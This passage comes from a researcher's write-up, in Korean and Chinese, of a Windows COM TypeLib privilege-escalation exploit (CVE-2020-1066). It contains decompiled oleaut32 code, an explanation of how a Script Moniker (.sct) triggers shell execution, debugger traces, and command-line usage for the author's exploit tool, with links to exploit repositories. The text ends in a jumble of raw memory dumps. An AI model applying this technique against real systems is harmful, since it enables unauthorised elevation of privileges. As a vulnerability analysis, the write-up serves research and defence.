HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
각 TypeLib는 중첩된 TypeLib 구조일 수 있으며, 중첩된 TypeLib를 로드하면 LoadTypeLibEx가 재귀적으로 호출됩니다. 구체적인 구성 방법은 이용 도구 코드와 Microsoft 공식 API를 참조하십시오. 이렇게 하면 재귀적으로 TypeLib를 로드할 때 존재하지 않는 TypeLib 파일 경로를 지정할 수 있고, 이를 Moniker로 해석하여 Moniker의 DisplayName을 통해 처리할 수 있습니다. 여기서는 Script Monike, 즉 script:xxx.sct 스크립트 파일을 사용하며, 최종적으로 Script Moniker가 해석되어 BindToObject를 트리거하고, Unmarshal 역직렬화로 호출자 권한으로 Shell을 실행합니다. 원리는 다음과 같습니다.``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...
크게 보기
Process Monitor와 비교하면, 다음은 Script Moniker가 최종적으로 생성한 프로세스의 디버그 결과입니다.```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
내 취약점 악용 도구 테스트 방식은 다음과 같으며, 관리자 권한으로 실행해야 합니다.``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### 실행 화면 ####
다음은 필자의 exp 실행 화면입니다. 그림과 같습니다:

#### 관련 프로젝트 ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Windows CardSpace 디컴파일 프로젝트](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[나의 ole32 리버스 엔지니어링](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[나의 취약점 악용 도구](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[심볼릭 링크 도구](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### 관련 참조 ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### 기여 ####
저자는 ZheJiang Guoli Security Technology 소속이며, 이메일은 [email protected]입니다.
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 000000000371f310 000000000378aaf8 000000000391dd00 000007fe0391df50 000000000378aaf8 000000000391dd90 000007fe03715ea0 000000000391e618 0000113b0391dde0 000007fe00000000 0000000000000000 000000000391de80 000007fe0378aaf8 0000000000000001 000000000391deb0 000007fe0378aaf8 000000000365efb0 000000180391df30 000007fe037daf90 000007fe001cf840 000007fe0391dfd0 000007fe00000002 000000000391db00 000000000391e0b0 000007fe0363fdd4 0000000000000001 000000000391e120 000007fe00000000 000000000391e618 000000000391e190 000007fe0391e340 000007fe0391e4f0 000000000391e1d0 000007fe00000020 000007fe0391e618 000007fe0391e240 000007fe0391e9b0 000007fe0391e9b0 000007fe0391e860 000007fe00000000 000000000391ec60 000000000391e8c0 000007fe00000000 00000000fb63a201 000000000391e8f0 000007fe0023e760 00000000036ce6a0 000007fe0391e960 000007fe0023e760 000000000023e760 000000000391ea10 000007fe00000000 00000018037958a0 000000000391eba0 000007fed0908070 0000000001d93e30 000000000391ec10 000007fe037daf90 0000000003715ff0 000000000391eda0 000007feff6c9930 00000000037241b0 000007fe0391ee40 000007feff670ab0 000000000391f0b0 000007fe0391ee70 000007fe0378a970 000000000391f194 000000000391ef90 000007fe00000000 000000000391f0b0 000000000391efd0 000007fe0378a970 000000000378a970 000007fe0391f050 0000000000000000 0000000000000000 00000000feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000